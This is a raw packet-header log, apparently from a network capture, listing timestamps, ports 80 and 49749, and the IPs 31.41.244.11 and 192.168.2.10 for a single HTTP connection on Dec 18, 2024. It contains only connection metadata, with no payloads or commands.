Dec 18, 2024 15:56:12.888367891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.888418913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.888737917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.888834000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.888856888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.888886929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.889384985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.889441967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.889494896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.889573097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.890227079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.890233994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.890284061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.890908003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.890913963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.890961885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.891560078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.891644001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.891819000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.891863108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.892291069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.892352104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.892468929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.892551899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.893069983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.893122911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.893178940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.893238068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.893820047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.894010067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.894041061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.894071102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.894632101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.894639015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.894695997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.895435095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.895442009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.895518064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.896100044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.896186113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.896399021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.896466970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.896735907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.896763086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.896786928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.896821022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.897541046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.897593021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.897613049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.897641897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.898572922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.898580074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.898638964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.899036884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.899044037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.899091005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.030792952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.030823946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.030893087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.030900955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.030970097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.031008005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.031105995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.031591892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.031666040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.031692028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.031735897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.032283068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.032325983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.032356977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.032385111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.056044102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.056133986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.056185007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.056230068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.056364059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.056406975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.056624889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.056678057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.057142973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.057193041 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.057353020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.057473898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.057827950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.057964087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.058156013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.058294058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.058346033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.058799982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.058931112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.058984995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.059531927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.059668064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.059714079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.060221910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.060293913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.060324907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.060410976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.060988903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.061009884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.061055899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.061714888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.061758041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.061809063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.062387943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.062485933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.062520027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.062562943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.063142061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.063242912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.063291073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.063846111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.063891888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.064013958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.064101934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.064625978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.064733982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.064752102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.064867020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.065351963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.065431118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.065458059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.065525055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.066276073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.066333055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.066349030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.066551924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.066817045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.066862106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.066910982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.066950083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.067550898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.067590952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.067599058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.067625999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.068276882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.068339109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.068434954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.068967104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.069006920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.069021940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.069062948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.069698095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.069874048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.069924116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.070405006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.070549965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.070595980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.071221113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.071280003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.071322918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.071816921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.071892977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.071980000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.072026968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.072180033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.072597980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.072643995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.072664976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.072700024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.073323011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.073369026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.073402882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.073599100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.074062109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.074140072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.074151993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.074178934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.074954987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.075001955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.075028896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.075047016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.075532913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.075583935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.075656891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.075711966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.076267958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.076354027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.076385975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.076693058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.077032089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.077076912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.077127934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.077167988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.077868938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.077912092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.077970028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.078015089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.078479052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.078531027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.078563929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.078624010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.079195976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.079257011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.079303026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.079967976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.080012083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.080060005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.080122948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.080837011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.080893040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.080946922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.080982924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.081860065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.081899881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.081940889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.082642078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.082688093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.082746029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.083107948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.083185911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.083424091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.083468914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.083713055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.083765984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.083792925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.083834887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.084323883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.084364891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.084407091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.084692001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.085041046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.085133076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.085179090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.085804939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.085861921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.085917950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.086433887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.086570978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.086575985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.086668968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.087285995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.087337017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.087368011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.087487936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.088182926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.088248014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.088414907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.088485956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.089035988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.089158058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.089167118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.089215040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.089610100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.089651108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.089699030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.090302944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.090384007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.090435028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.090517998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.090847015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.090966940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.090976000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.091136932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.091523886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.091661930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.222995996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.223078966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.223141909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.223371983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.223427057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.223490000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.223850012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.224064112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.224113941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.224129915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.224174023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.224828005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.224972963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.248307943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.248380899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.248460054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.248523951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.248680115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.248749971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.248785019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.248833895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.249453068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.249521971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.249720097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.249727011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.249773979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.250374079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.250426054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.250507116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.250545025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.251233101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.251291990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.251445055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.251487970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.251914024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.251970053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.252080917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.252134085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.252599001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.252671003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.252727032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.252800941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.253279924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.253354073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.253374100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.253443003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.253994942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.254035950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.254096031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.254149914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.254719973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.254764080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.254859924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.254964113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.255486965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.255495071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.255546093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.256347895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.256496906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.256531000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.256544113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.257220030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.257242918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.257308960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.257687092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.257741928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.257770061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.257831097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.258395910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.258488894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.258514881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.258573055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.259119987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.259291887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.259347916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.259361029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.259850025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.259911060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.259911060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.259979963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.260593891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.260689020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.260695934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.260744095 CET	49749	80	192.168.2.10	31.41.244.11
